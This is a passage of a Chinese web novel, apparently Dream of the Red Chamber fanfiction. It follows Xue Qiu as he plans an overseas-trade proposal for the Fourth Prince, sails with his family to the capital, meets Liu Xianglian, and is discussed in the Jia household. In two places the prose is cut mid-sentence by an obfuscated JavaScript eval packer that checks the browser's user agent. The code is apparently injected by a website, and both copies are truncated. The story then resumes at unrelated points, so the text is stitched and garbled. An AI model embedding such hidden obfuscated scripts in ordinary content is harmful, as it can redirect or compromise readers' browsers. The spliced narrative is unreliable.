自然，薛虯不需要依靠宝钗与四皇子交好，不过他既然有意投靠四皇子，自然不能再与二皇子有牵扯，在没有足够资本的时候，一姓投二主可不是什么明智的选择。 他看向宝钗：“妹妹的意思呢？” 宝钗微微低着头：“我听妈和哥哥的。” 这便是认可的意思了。 薛虯点点头：“既然如此，便要再请个书画先生回来了。宝钗的画本不错，只是要入公主的眼，少不得再精进精进。” 宝钗应了，薛母便道：“这不算什么，金陵多的是擅作画的落魄举子，多花点钱请一二个回来便是了。” 薛虯点头，又与她们说起关于十一公主的一些琐事，多是些市井传言，却也有可取之处，对她们了解十一公主的为人喜好多有帮助，宝钗和薛母都听得十分认真。 一时薛蟠也来了，瞧着虽有些疲惫，精神头却不错，一家人一起用了饭便各自散了。 薛虯和薛蟠一起回去，一路上薛蟠还在念念有词地背书，叫头一次见到这个场面的长瑞惊呆了。 放在从前，谁敢想二爷能这么用功啊！ 同时也对自家大爷无比佩服，改变一个人多难啊，大爷就这么兵不血刃地做到了。 回到书房，薛虯铺开纸张，思索给四皇子的投名状。 此事他早就在考虑了，只是一直不能下定决心，梦里那个世界的科技发展远超这个世界，随便拿出几样都能掀起波澜，正好梦里的薛虯学习不错，还记得几个穿越必备配方。 原本他打算把玻璃配方献给四皇子，眼下大庆多有西洋传教士，舶来品中也有一些玻璃制品。因物以稀为贵，价格十分高昂。大庆自己也能烧制琉璃，不过纯净度跟不上，总不能跟西洋玻璃相较。 薛虯记得玻璃的大致烧制方法，剩下的让工匠摸索便是了，这时候的匠人绝不缺乏创造力，只要给他们指明方向，就能完成得又快又好。正好薛家也有琉璃作坊，且一直在研究西方琉璃的烧制之法，研制起来非常便宜。 玻璃价格昂贵，只要操作得当，就能给四皇子带来大量财富，有此物作为敲门砖，他必能在四皇子身边获得一席之地，之后再慢慢筹谋便是了。 但现在薛虯不这么想了。 玻璃固然能给他一个接近四皇子的机会，却不能令他本人在短时间内得到对方看重。而宝钗若无人举荐，很难被选为十一公主的伴读，落选也就罢了，倘若被指给哪位郡主，与四皇子不是同一脉系，日后岂不是左右为难？ 为防此事发生，他必须提前做好准备，一举赢得四皇子看重。既然如此，单靠技术便不成了。 薛虯思考许久，提笔写下两个字：海外贸易。 大庆平定未久，海外还有许多土地没有收回，为防反贼作乱，一直施行禁海政策，只留一个港口允许外国人出入，并且严禁百姓对外贸易。 但近些年随着大庆逐渐强盛，对海外势力控制增强，态度渐渐有所松动，开始有人支持开海，据薛虯所知，四皇子便是其中一个，虽然表现得并不激进，但那是因为他性格沉稳低调的缘故，并不代表他开海之心不盛。 事实上，根据薛虯的判断，四皇子的开海之心应该是比较强烈的，至少在几位皇子中是这样。这也是他选择四皇子的一个重要原因，根据西方传来的东西，可以推算他们的科技正在飞速进步，这时候不关注他们的发展，只在意一亩三分地的长短，很容易走上梦里那世的老路。 大庆可以灭亡，薛家可以覆灭，但华夏百年之耻不能再重演了！ 而今皇帝已经年老，仿佛一只逐渐失去活力的狮子，只想保住现有的体面，早没了年轻时的锐气，各项政策也趋于保守，指望他在位期间开海是不可能的。 不过他们可以提前布局，正好四皇子有开海之心，而薛虯对那段历史和对外商贸都有所了解，可以辅助于他。 薛虯将自己的想法一一落于纸上。 他站在百年后的时光里回望来时的路，自然看得格外清晰，开海禁海的利弊、如何开海、如何通过贸易利益最大化、如何避免可能出现的风险等等，薛虯都做了较为详细和专业的论述，并且站在商人的立场，细数商人能在其中起到的作用。 这倒不是他有什么私心，若说为了薛家，只要薛虯能站起来就足够了。只是商人对于开海的确有帮助，别的不说，只说他们手里的船、做生意的经验手段、对沿海区域的了解控制，若能为朝廷所用，便足够朝廷省很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇帝任命京营节度使向来仔细，非信任之人不可，一旦任命也不会轻易变动。王子腾能坐上这个位置，可见他从前深受皇帝信任，可上任不过短短两年便被调离，怎么想都不简单。 长瑞也察觉到其中不妥，仔细回想后说道：“若说大事只有一件，便是月前四皇子负伤，皇上处置了江南的几个官员和大户。” 此事薛虯也知道，四皇子南下调查决堤一事，却被人追杀险些丧命，幸好提前安排了人接应才没有出事，皇上知道后大怒，将参与追杀之人抄家灭族，江南很是风声鹤唳了一阵。 这自然是杀鸡儆猴，谁都知道这些人只是马前卒，真正的幕后黑手远在京都，不知是皇亲国戚中的哪一位。 不过皇帝应该是清楚的，且四皇子定是查到了要紧的东西，才会引得对方冒险下杀手，这些东西应该已经到了皇帝手里，王子腾也是此人党羽，皇帝从前或许知道，也或许不知道，但此次对王子腾出手，一则折断幕后之人一根臂膀，二来重新将京营节度使这把刀握到自己手里，三就是警告幕后之人不要肆意妄为。 这都是薛虯的推断，但若果真如此，王子腾的处境不妙。 薛虯想了一会儿，终究没有多做什么。王子腾官场沉浮多年，未必不知其中道理，只是泥足深陷，难以回头了。更何况他也未必想回头，更不可能听一个初出茅庐的毛头小子指挥。 更别说薛虯连他投的哪位主子、参与了多少、做了哪些事都不知道，又如何能指手画脚呢？ 只能先见招拆招，保全自身也就罢了。 23.第 23 章 正月底，一艘三层高的楼船从金陵码头启程，北上前往京都。 薛虯站在码头上，看着岸上的薛文盛越来越小，最终变成了一个小小黑点，金陵也随之越来越远。 锦书拿来斗篷给他披上：“太太说河上风硬，仔细吹得您难受。” 薛虯自己系上带子，问：“母亲如何？” “太太心里不大痛快，这会子又有些晕船，已经歇下了。”锦书道。 薛虯皱眉，却并不觉得意外。别看薛母生在江南长在江南，却一直有晕船的毛病，出门能坐马车绝不坐船，便是游船耍玩也极少。若非上京实在太远，坐车比晕船更折腾，只怕他们也要坐船。 好在薛母的晕船之症不算严重，吃些药休息两日便无妨了。 薛虯问：“吃药了吗？” “吃了，孙御医亲自配的药丸子，吃下去好些了，您不用操心。” 薛虯点了点头：“吩咐船工慢一些，咱们时间有富裕，一切以稳当为主。再配些药丸出来，晕船的人都吃上两丸。” 他们船上带着药材，也有擅长制药的大夫，孙老虽然没有一起上京，却将丸药的方子给了他们，要配出来并不难，锦书应了。 薛虯又问：“姑娘和二爷在干什么？” 锦书：“姑娘跟着陈姑姑练习规矩，二爷……二爷和小厮们在打叶子牌。” 薛虯挑了挑眉：“他不念书了？” “二爷说反正被困在船上出不去，没心思念书。” 薛虯：“……罢了，他这些日子辛苦，歇上两日也无妨。” 不过薛蟠显然不是只打算休息两日，而是彻底没了读书的动力，虽然之前养成的好习惯让他对读书没那么抗拒，每日的功课依旧能按时完成，但是全然没有从前积极主动，每日不是打牌就是钓鱼，玩得不亦乐乎。 薛虯观察了几日，见他丝毫没有收敛的意思，就在他某日又打叶子牌时去看他。 薛蟠吓了一跳，下意识把拿着牌的左手背到身后。 薛虯：“……” 薛蟠也意识到自己的行为似乎有些蠢，又把手拿了出来，眼睛往四周飘了飘，努力替自己辩解：“我、我没有耽误功课，写完了才玩的……” “嗯，我知道。”薛虯淡淡应了一声，倒叫薛蟠说不出旁的了。 憋了一会儿，他眼睛一闭，大义凛然道：“你要罚就罚吧！” 薛虯诧异：“我罚你做什么？” 诶？ 薛蟠悄咪咪睁开眼，打量薛虯神色，他这几天这般不务正业，大哥难道不生气吗？ 薛虯一点生气的样子也没有，还示意其中一个小厮给他让位置，慢条斯理地洗起牌来。 薛蟠：“？” 薛虯：“许久不曾打牌了，今日有兴致，与你玩上几局。” 薛蟠：“？？” 不怪薛蟠难以置信，实在薛虯看起来太过君子，不像是会玩叶子牌的人，事实上薛蟠的确从未见过薛虯打牌。 但见薛虯是真的要玩，薛蟠反应过来，便有些兴奋了。 别的方面他可能比不过大哥，但论起吃喝玩乐，他可是行家中的行家，叶子牌更是经常打，在金陵基本没有对手，今日定要狠狠赢大哥几回！ 想到向来无所不能的薛虯会输在他的手里，薛蟠就忍不住想偷笑。 事实上他也确实笑出来了，薛虯瞥他一眼，只当作没听见。 但愿一会儿他还能笑得出来。 薛虯的确不怎么玩叶子牌，但并非不会，做生意的人可以不玩这些东西，但是不能不懂，薛父特意教过他，包括里头的各种门道。 梦里的那个世界，薛虯也参加过一些牌局，见过不少套路，自己也练出了一些打牌的本事，不敢说多么厉害，但是碾压薛蟠这种一味走量，从不动脑子的小趴菜还是没问题的。 薛蟠对此毫不知情，还试图暗戳戳坑自家大哥：“要是我赢了，大哥拿什么给我啊？” 薛虯：“你想要什么？” “你书房架子上那匹墨玉飞马！”薛蟠不打一丝磕绊地回答，说完就眨巴着大眼睛期待地看着薛虯，显然已经看中这东西很久了。 也不怪他喜欢，那樽飞马以和田墨玉制成，颜色漆黑如墨，玉质光泽细腻，属于玉中极品。加以大匠巧思，耗时一年精心雕刻，马的每一根羽毛都栩栩如生，纵观马身更是潇洒俊逸、气势凛然，就连薛虯都为之折服，更别提薛蟠了。 薛虯答应了他的要求，见薛蟠喜笑颜开，嘴都快咧到耳后根去了，淡淡道：“那如果你输了呢？” “如果我输了，大哥想要什么都行。”薛蟠手一挥，十分霸气。 反正他不可能输！薛蟠不无得意地想。 然后他就受到了来自亲哥的凌虐，接下来的半个时辰，不管他拿到的牌多好、开局多么顺利、距离赢牌有多接近，都会被薛虯绝地反击，怎么输的都不知道。 输到最后他都迷茫了，抱着牌眼神呆滞，若非身后一个人都没有，都要怀疑是有人给薛虯通风报信了。 薛虯心中一叹，这傻弟弟，连打牌的把式都不知道，旁人让着他，就真当自己牌技高超，难怪原著中被人糊弄得团团转。 他问：“想知道我怎么赢你的吗？” 薛蟠眼睛一亮，雄鹰啄米般点头，声音响亮地回答：“想！” 薛虯：“十日内把《孟子》的公孙丑篇背下来，我就告诉你。” 薛蟠：“……” 他嘴唇嗫嚅：“换成别的要求行不行？” 薛虯：“可以，把梁惠王篇背下来也行。” 薛蟠：“……” 那不还是背书，有什么区别？ 不过他好歹明白了薛虯的意思，就是看他这几日不好好念书，不高兴了。也不敢再讨价还价，老老实实答应了。 虽然公孙丑篇上下共有五千字，真的很难背，但谁让他也真的想学薛虯的赢牌法门呢？若他能跟大哥一样战无不胜绝地翻牌，那也太美了吧！ 想想就觉得开心，薛蟠一扫方才不悦，乐滋滋背书去了。 长瑞看着他欢快的背景，失笑道：“二爷的心思变化真快。” “是啊。”单蠢的人就是这样好哄，不过也正因如此，薛虯才更要好好护着他们。 他道：“你吩咐下去，路上遇到大的城镇停一下，一则添些补给，二来咱们也出去走走。” 难得有机会出来，就当是游山玩水了。薛母的身体下船走走会好些，薛蟠也需要偶尔出去散散心，宝钗多涨些见识，对她日后更是只有好处没有坏处。反正他们时间足够充裕，不在乎多耽搁几天。 如此几天，薛蟠勉强背会了公孙丑篇，薛虯教了他一个赢牌小技巧，还没等薛蟠高兴，又抛出另一个技巧吊着他，让他继续背书。 薛蟠：“……” 有一种不祥的预感，这样的小技巧，大哥不会还有一大堆吧？ 但薛虯将新的技巧描述得十分诱人，几乎能能看透对方的底牌，叫薛蟠蠢蠢欲动，犹豫来犹豫去，还是闷闷不乐地背书去了。 在薛蟠沉迷知识的海洋之前，薛虯先带他们出去转了一圈，这可把薛蟠乐坏了，他从小到大都没出过金陵，金陵虽好，待久了也会腻，哪里比得上新地方有趣？几乎成了脱缰的野马，到处撒欢。 薛母身子好些了，在船上闷了这些日子，出来走走也是散心，宝钗陪着她一起，母女俩买了些吃的玩的，也算是尽兴而归。 如此一路走一路玩，行程极慢，却几乎感受不到旅程艰辛，仿佛很短的时间，行程便过去了一半，薛蟠也背会了很多文章，知识储备大大丰富。 这日船又停靠在一座小城，城市不大，却是大庆有名的戏曲之乡，城中戏曲氛围浓郁，十分有特色。 薛母素爱戏曲，薛虯和宝钗陪她逛去，薛蟠却有功课未完，被迫留在船上用功，幽怨的眼神看得人忍俊不禁。 一家人漫步在戏曲之乡，只见街道两旁摊贩众多，多有面具、戏曲玩偶等售卖，到处都能听到咿咿呀呀的唱腔，就连街头玩耍的小孩也能吊几声嗓子。 为了让薛母逛得尽兴，薛虯还特意找了个当地人做向导，此人外号黑五，似乎在当地还是个小小的地头蛇，倒是很有眼色，说起话来妙语连珠，逗得薛母乐不可支。走到一条河边，黑五又介绍起上面一座古桥，说是百年前一位名伶出资修建，那名伶才冠一时、名震天下，更难得的是还有一颗善心，自掏腰包为小城修桥铺路，用他的话说，这些钱来自百姓，也该用于百姓身上，这样才不算辜负。 可惜优伶向来被视为下九流，为世人所不齿，即便名伶被人百般追捧，仍改不了出身低微的事实，就连捐钱修桥铺路也不敢叫人知道，免得世人嫌弃，不肯从桥路上经过。 后来战乱频生，盗匪横行，一伙流寇占据了这座小城。他们烧杀抢掠、无恶不作，还逼着名伶为他们唱曲，名伶宁死不屈，从他自己出资修建的这座桥上一跃而下，带着他的光辉长眠河底。 他死后数年，太祖皇帝平定战乱、统一天下，众人才从经手过捐献一事之人口中知道此事，他们感佩名伶的慈悲与气节，将此桥命名为名伶桥，另还有一条名伶路，是他从前的住处所在。 黑五说道：“在咱们这里说起名伶，指的不是如今那些名角，而是特指这一位呢！” 他讲的跌宕起伏、又着意加了许多动人的细节，叫薛母听得眼眶都红了。 正是此时，有喧闹之声传来，似乎起了什么争执。黑五脸色微变。 他的确算得上地头蛇，此地的县令是他的姐夫。此次姐夫将接待贵客的任务交给他，几次交代不得怠慢，务必要让贵客宾至如归，感受到他们的好处才好。 姐夫没有说，黑五也不知道薛虯等人的身份，但他又不是傻的，只看这些人的打扮气度，便知他们非富即贵，当然更可能既富且贵。 他就理解姐夫的意思了，姐夫在小城做了十几年县令，因为没什么背景，政绩也只是平平，一直得不到升迁，眼瞧着京城已经忘了他这号人，再不想想办法，这辈子都要耗在这里了，莫说姐夫，便是黑五也不乐意。 他也希望姐夫升迁，自己好跟着吃香的喝辣的呢！ 但是凭他们的本事，又抱不上什么有能力的大腿，好不容易有贵人经过，他们当然要抓住这个机会，说不定就是翻身的希望呢！ 这一路上他卖力解说，好的地方大夸特夸，坏处则一概不提，力求给贵人留下有趣美好的印象。 谁知道有人不长眼，偏偏挑这时候闹事！ 黑五心里咬牙切齿，面对薛虯还得堆笑：“想是小子们闹起来了，半大的孩子最闹人，凑到一处便要生事。” 是这个年纪的孩子闹腾，换到任何地方都是这样，与县令没有关系哈！ 薛虯不置可否，过去这么一会儿，那喧闹声也渐渐近了，薛虯隐约听到有人在喊救命，这显然不是黑五所谓的“半大孩子打闹”。 他淡淡道：“我倒少见人打闹，难得遇见，咱们过去瞧瞧吧。” 黑五：“……” 他一边腹诽大户人家小少爷有毛病，一边暗自祈祷，可千万不要是有人仗势欺人啊！ 因着城里优伶多，长相好身段佳，偏偏身份又极其低微，便有人觊觎他们美色，利诱不成便强行上手，县令每年都要处理几桩类似的案子，只盼着不是发生类似的事就好。 可惜怕什么来什么，众人往前走了一段，便见桥上显出几道身影，最前面是两位优伶，都做花旦打扮，但从身形仪态可以判断，其中一位由男子假扮，另一位娇小些的则是真正的女子。 男子一手提剑，一手搀着女花旦的胳膊往前跑，在他们身后则是几个凶神恶煞的壮汉，穿着统一的衣服，显是哪个大户人家的家丁。 薛母下意识看向薛蟠，其他知情人也纷纷投去目光。 薛蟠：“……” 他眨眨眼，有些茫然又有些生气：“你们看我干什么，我又没抢强民男民女！” 他可是花了钱正经把香菱买回家的！打架也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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壮汉支支吾吾说不出话来，却是那执剑男子朗声开口：“阁下有所不知，小仪已有婚约在身，并不愿意悔约令嫁，钱老爷商议不成便要强抢，在下这才带她跑出来的。” 黑五听了这番辩白，第一反应是真好听。这声音介于青年与少年之间，既有男子的爽朗响亮，又有伶人的婉转清脆，恰如珠落玉盘，叮叮咚咚，洋洋盈耳。便是含着怒气也十分动人。 第二反应，原来钱老爷要抢的人不是他啊？想想也是，钱老爷虽然好色了些，却只好女色，对男色没什么兴趣，只怪此生容貌太盛，令他不及想那么多。 再看被男子护在身后的女花旦，的确很漂亮，宛如春日颤颤绽放的桃花，但比起那男子就差得多了，以至于黑五都不得不怀疑钱老爷的审美，就算他不好男色，有这么一位绝色在眼前，怎么还能看上旁边的小花的？ 待到彻底回神，便是怒火中烧了。 好啊！ 什么时候不好，偏偏此时闹事，坏他的好事！ 黑五冷笑连连：“当街抢人，我看钱老爷是山珍海味吃多了，想要尝尝牢饭的滋味。” 壮汉们吓得不敢吱声。 黑五努力压制怒气：“我会将此事告诉姐夫，你们回去告诉钱老爷一声，让他做好准备吧。” 至于准备什么，那就见仁见智了。 壮汉们一句话不敢多说，一溜烟做鸟兽散。 黑五这才扭头对薛虯赔笑：“让您见笑了，我们这儿平时不这样的。” “我明白。”薛虯淡淡一笑，不置可否。 说话间，方才那两位花旦过来了。 他们是来道谢的。 女花旦有些惊魂未定的样子，怯怯躲在男子身后，男子还剑入鞘，拱手行礼，动作十分大气利索：“多谢黑爷救命之恩！” 黑五摆摆手：“不用谢我，要谢就谢几位贵人吧。” 男子也是这么想的，他在小城呆了一些时日，早就听说过黑五的大名，此人虽不算坏人，但也绝不是什么好人，与城中大户都有些往来，若今日只有他一个人在，未必会管这桩闲事。 他看向黑五身侧的一行人，男女老少都有，一看便知是一家人，方才他就听说码头上停了一艘极奢华的船，不知是哪个富贵人家的，想来便是这一行了。 他整了整衣襟，对为首的薛虯拱手：“小生柳湘莲，多谢这位贵人援手之恩，日后若有用得上之处，书信一封，小生绝不推辞！” 薛虯：“你是柳湘莲？” “是。”柳湘莲见薛虯语气有异，狐疑道，“贵人听说过我？” “我乃金陵薛氏，与贾家乃是姻亲，贾家二太太是我嫡亲的姨母，你与宝玉为密友，我自然听说过你。” 薛虯十分淡定，这也不算说谎，他调查宝玉之时的确查到了柳湘莲，不过只是一笔带过，并未赘述。他对柳湘莲的了解大半还是来自于原著，今日一见，果真如书中所述风流倜谠、俊美非凡，且有一颗侠义之心，难怪能令尤三姐倾心数年。 柳湘莲却信了这话，恍然大悟：“原来是薛家兄弟！” 又上前与薛母行礼，口称伯母。 薛母受了礼，并不如何热络，她对优伶并没有什么偏见，往日见到也和颜悦色，体恤他们谋生辛苦还会多加打赏。但世家子弟不图上进，反而沉迷唱戏玩乐，在她看来便是自甘堕落了。 柳湘莲对此并不在意，他爱上唱戏已有几年，知道此事之人多有不屑，不知看过多少白眼，薛母已经算是友善的了。 他只跟薛虯说了几句话，约定好京城再聚，便护着那女花旦离开了。 直到此时，黑五才从恍惚中回过神来：“原来竟是金陵薛家的贵人！” 薛家他知道啊，那可是金陵名门，传承百年的大皇商，有“丰年好大雪，珍珠如土金如铁”之称，可以说富可敌国。 薛家的姻亲故旧也了不得，荣宁两府便不说了，只说人家嫡亲舅舅王子腾，前些日子不就刚升了九省统制吗？ 这样的人，几句话就能决定一个县令的去留，难怪姐夫再三交代他好生招待，一副要不是人家不要他，恨不得自己亲自上的样子。 ——这得是多粗的一条金大腿啊！ 黑五招待得更尽心了。 薛虯一行玩了个痛快，之后又一路北上，终于在大半月后抵达了京都。 24.第 24 章 此时已至三月，乱花飞红，草长莺飞。 京都的空气中还沁着凉意，河上更是寒意逼人，裹着破棉袄的汉子们捧着碗围坐一处吃饭，再开几句不太正经的玩笑，时而哄笑一片，日子仿佛便没那么难熬了。 远远看到一艘船向码头驶来，这船极大，上下足有三层，雕梁画栋、玉砌雕阑，一瞧便是大户人家的贵人出门，众人立时高兴起来，三两口把碗里的饭吃完，便凑到码头边等着接活。 他们比较有经验，什么样的船能有活给他们干，看上一眼便知道个差不离。这船如此富丽堂皇，带着的东西必定不少，就算贵人贴身常用的东西不许他们碰，总还有许多粗苯的行李，那些娇生惯养的副小姐、副少爷哪里拿得了？还不是得花钱请力工。 且大户人家手里松泛，刚到一个地方又图吉利，给赏钱十分大方。给他们做活比给商船卸货轻省得多，拿到的钱一点也不少，算是众人心中顶顶好的差事。 果然不出所料，这艘船还没到岸，便有一管事模样的人来请力工，因东西不少，给的价格也很高，只等主子下船之后便干活。 接了一单大活，众人也不着急，只站在岸上看那艘大船。在码头当力工久了，各种各样的船他们见得多了，这般富贵的却极少有，同样是人，船上之人的命运与他们何止隔着天堑？ 在众人的注视中，船缓缓在码头停下，两个中年仆从先下来，与方才那管事说了什么，管事并另外几个穿金戴银的嬷嬷、管事急匆匆往船上去了。 这自然是薛家留在京城的人，有京城宅子的管家，以及铺子里的管事。主子回京了，他们自然要前来迎接。 这些琐事薛虯不管，薛母也不甚耐烦，干脆交给宝钗，权当是锻炼她了。 宝钗也不嫌烦，笑吟吟地问家中如何、亲戚如何，生意的事却是一字不提。 众人见她聪明尊重，也不由高看几分，回答起来更加小心。 家中自是一切都好，亲戚除了王子腾升官，月前离京上任外也无变故。倒是薛家上京，亲戚故旧们知道后都派人来请安，眼下就在外头等着呢。 宝钗听了他们报上的名单，沉吟片刻后说道：“今儿刚到，舟车劳顿，也实在是不得空，见不了许多人，只亲近几家来请个安，其余人家留下帖子，等安顿下来再请他们小聚。” 薛母暗自点头，今儿来的人多，攀附之人也多，真正需要来往的也就那么几家，其余人家打发了便是。宝钗给出的这个理由能站得住脚，态度也算热络，这样就足够了，至于日后要不要聚还要看情况再议，这些人也不会真的当真。 不多时，亲近几家派来的下人被请上了船，丫鬟拿来蒲团，几人跪下行礼，口道：“给太太、姑娘请安。” 宝钗和薛母对视一眼，都有些犯嘀咕。 盖因这一行五六家，贾家虽不是与薛家最亲的，但也属中上，按说即便不派贾老太太或者王夫人身边的管事嬷嬷，也该派得脸的老嬷嬷前来才显得郑重。其他几家都是如此，唯有贾家只派了两个二等嬷嬷，怕是日常在府中也说不上什么话，有些畏畏缩缩的样子。 贾家这是什么意思？ 宝钗秀眉微蹙，很快又舒展开，笑吟吟道：“诸位快起来，请坐吧。” 丫鬟又拿了小马扎来，众人忙道不敢，几番推辞之后才小心坐了，却也只敢坐一半，并不敢放肆。 宝钗又温和地与她们说话，不外是问长辈身体、小辈读书嫁娶等等，也不好说太多，定下时间登门拜访，又赐下厚礼，便将人打发出去了。 * 却说贾家派来的这两位嬷嬷。 她们在贾家的确不是什么牌面上的人物，平时在主子跟前也说不上话，今儿被指派来给薛家太太请安，就连她们自己也没有想到。 不过她们很快就想通了，贾家乃是公侯之家，薛家不过区区商户，若不是和贾家联了姻，只怕连登门的机会也不会有，派二等嬷嬷去请安也算给他们面子。 二人自觉明白，乐颠颠跑去请安，然后就被打脸了。 先是同去请安的其他人家，有王子腾的同僚、王家和薛家的姻亲故旧，虽未必是什么高官，但很多都手握实权，两位嬷嬷再得意贾家门第，也知道自家两位老爷官位不高，在朝堂根本说不上话，并不敢轻忽。 薛家能使这些人前来请安，显然并非她们眼中的区区商户。这些人都使了正经管事嬷嬷来，唯有她们两个是二等嬷嬷，当时另外几家看她们的眼光，想起来都叫人臊得慌。 本以为这就是极限了，没想到薛家到了之后才是真的羞人。 她们还没见过那么华贵的船，里头装饰的也精美异常，光地上铺的一条毯子都是西洋来的，价值不菲，老太太也有一件差不多的，逢年过节才拿出来用一用，薛家这件都已经半旧了，显然是平日常用的。 薛家太太和薛姑娘气度端庄高华，比起府里的太太姑娘一点不差，哪里像是商户家的太太姑娘？心胸也大，没计较她们两个来请安的事，好言好语地招待问候，还给了极厚的打赏。 两位小爷没见到，不过看这情况，那位蟠二爷也就罢了，虯大爷必定差不了，怎么也不比宝二爷差吧？ 这样想着，二人回到贾家，被叫去荣庆堂回话。 荣庆堂里正热闹着，刚用过饭，宝玉和王熙凤围着老太太逗乐，三春并黛玉、湘云笑成一团，邢夫人和王夫人端坐下首，含笑看着上头热闹，仿佛两尊弥勒佛。 两个嬷嬷一进来，就收获好几道目光，顿时有些不敢动弹。 “哟~”王熙凤语调打了好几个弯，打趣道，“你们两个老货，今儿这么高兴，莫非捡到了金元宝？藏着不告诉我们，怕抢你们的不成？” 说得众人又笑了起来。 两位嬷嬷憨笑两声，其中一人把装赏钱的荷包拿出来：“这是薛家姑娘给的赏赐，可不是捡到了金元宝么？不敢瞒着老太太、太太和奶奶，奶奶若喜欢只管拿去。” “呸！”王熙凤笑道，“我是什么周扒皮，你们的银子都要抢过来不成？这点银子我还不缺，既是赏你们的，安心拿着便是了。” 二人便喜滋滋收下了，薛家给的赏赐丰厚，抵得上她们好几个月的月钱，王熙凤不稀罕，她们可稀罕着呢。 邢夫人这时开口问道：“薛家什么时候到的，我竟然不知道。怎么是你们两个去请的安，谁安排的？” 此话一出，屋内气氛便是一静，邢夫人尤自未觉，眼神在王夫人和王熙凤二人身上打转，一副幸灾乐祸的样子。 薛家是王夫人和王熙凤的姻亲，跟其他人可没有关系，打薛家的脸就是打她们二人的脸，邢夫人深恨王夫人处处比她强，也恨王熙凤无视她这个嫡亲婆婆，一位巴结讨好王夫人，自然乐得看笑话。 如果不是存心给薛家没脸，而是安排出了岔子，邢夫人也一样高兴，反正管家大权一直在那姑侄二人手里，她连沾都没有沾过，出了问题也是王夫人和王熙凤的责任，跟她一点关系也没有。 王夫人原本安静听着，此时才抬头瞥了王熙凤一眼。竟是直接不理会邢夫人，问那两位嬷嬷：“你们见到薛太太了？她一切可好？” 把邢夫人气个倒仰。 两位嬷嬷也察觉到气氛紧张，吓得腿肚子直哆嗦，但又不敢不回答王夫人的话，颤颤巍巍道：“我们去时薛太太正清点东西，是薛姑娘见的我们，我们没和薛太太说上话，不过瞧着气色却是很好的。” “阿弥陀佛！”王夫人念了声佛，对贾母道，“我这妹妹与妹夫感情甚笃，妹夫去后，我总担心她想不开，累坏了自己的身子，听说她没事才能安心。” 贾母笑呵呵点头，不怎么感兴趣的样子。 王熙凤又问：“怎么薛家竟是宝钗当家？我记得她也就比宝玉大一岁，今年才十二吧？” 王夫人点了点头：“你记得没错。” 两位嬷嬷便道：“太太奶奶不知，那薛姑娘年纪虽小，气势可不小，言行举止极有章法，一般大人也比不上她有能为。” “宝钗那丫头自小就稳重。”王夫人含着笑意点头，还状若无意地瞥了林黛玉一眼。 林黛玉攥紧了帕子，宝玉毫无所觉，还好奇地问：“那宝姐姐长什么模样啊？” “长得极出众。”两位嬷嬷没读过书，也不知该如何形容，憋了半天才说出一句，“就跟春日里的牡丹花似的！” 宝玉高兴起来，拊掌笑道：“绿艳闲且静，红衣浅复深。花心愁欲断，春色岂知心①。妙！妙啊！” 史湘云撅了撅嘴，反驳道：“这首诗以人喻花，用在这里不妥不妥。” “这便是你的不是了，我听到嬷嬷这么说，想到这句诗便念出来了，本就没什么意思，又有什么不妥之处呢？”宝玉又笑嘻嘻凑到湘云身边，二人拌起嘴来。 王夫人垂下眼睑，掩饰住眼中一闪而过的厌恶。 两位嬷嬷又说起贾家的种种富贵之处，自然隐去了地毯之事，免得老太太脸面上过不去，但能说的实在太多了，上至大船装饰布置，下至一枚金镶琉璃挖耳勺，乃至一饮一啄，衣食住行，处处都极为精致讲究，听得众人一愣一愣。 饶是贾家一向自诩富贵，吃穿用度向来都是最好的，也不敢说比薛家强啊！ 王夫人嘴角忍不住微微翘起，纵然她对这个妹妹并没有那么深的感情，但在旁人眼里她们两个是一体的，今日薛母这般出风头，她也觉得脸上有光。 不由又看了贾母一眼，老太太总想将林黛玉那病秧子配给宝玉，看不上宝钗出身商户，如今瞧瞧，宝钗比起林黛玉差在哪了？ 当然，给她做儿媳妇还是不够的，薛宝钗和林黛玉两个她都看不上。 一时老太太困了，众人退了出去。几个小的去上学，王夫人带着王熙凤回到荣禧堂，等到进了屋，只得她们二人在，这才脸色难看地问：“那两个嬷嬷怎么回事？” 这事儿王熙凤也糊涂着，请安的人是她安排的，可她本想安排自己的陪嫁嬷嬷，此人在贾家不算高调，却是王家的老人了，当日在金陵与薛母也是常来常往的，派她去极为合适。 不知道出了什么岔子，去的居然成了这二人！ 王熙凤只能认错：“姑妈容我些时日，查清楚了再给您回话。” 心里却恨得滴血，恨不能即刻将幕后之人揪出来狠狠教训一顿。 王夫人叹道：“这是小事，原也不容易查到，查不到也罢了，要紧的是你姑妈那边，不能叫她们觉得咱们失礼。” 她道：“你得空往薛家走一趟，跟你姑妈赔个礼，这件事就过去了。” 王熙凤想了想，点头答应了。 * 却说林黛玉回去后，一时想到王夫人指桑骂槐的话、一时想到宝玉与湘云的亲近，又想到宝钗有兄长母亲爱护，自己却是孤零零一个人，寄人篱下、受人白眼，禁不住又掉了几滴泪。 宝玉兴冲冲来找黛玉，却见她哭得直呕，吓了一跳，又是哄又是劝，好容易才好了一些。 另一边，薛家忙碌一日，终于安顿下来，次日修整一日，第三日开始拜访亲戚故交。 头一个自然是王家。 王子腾上任去了，舅母冯氏却还在。王子腾比薛母大了近十岁，冯氏嫁过来时，薛母还是个小丫头片子，最喜欢粘在这个嫂子屁股后头，冯氏温柔贤淑，也很喜欢这个小姑子，姑嫂二人感情不错。 后来薛母出嫁，冯氏也随着王子腾迁居京城，山高水远，通信不变，二人便渐渐疏远了，直到薛虯出生，联络又重新变得紧密，冯氏为薛虯的病费了不少心思。 薛母带着厚礼登门，冯氏亲自来院门口迎接，姑嫂二人一见面便抱头痛哭，好容易才劝得止住了泪。 冯氏拉着薛母的手，上下打量几遍，见她气色红润，精神头也极好，显然被照料得不错，并没有沉浸在丧夫之痛中，略微松了口气。 又打量几个孩子，先拉住宝钗的手：“这便是宝钗吧？长得真标志，是个好孩子。” 宝钗福身行礼：“甥女见过舅母。” 冯氏只觉得她动作优雅自如，仿佛美丽的天鹅，不由得眼前一亮，扭头看向薛母：“你信里说，宝钗此行要参加选秀？” 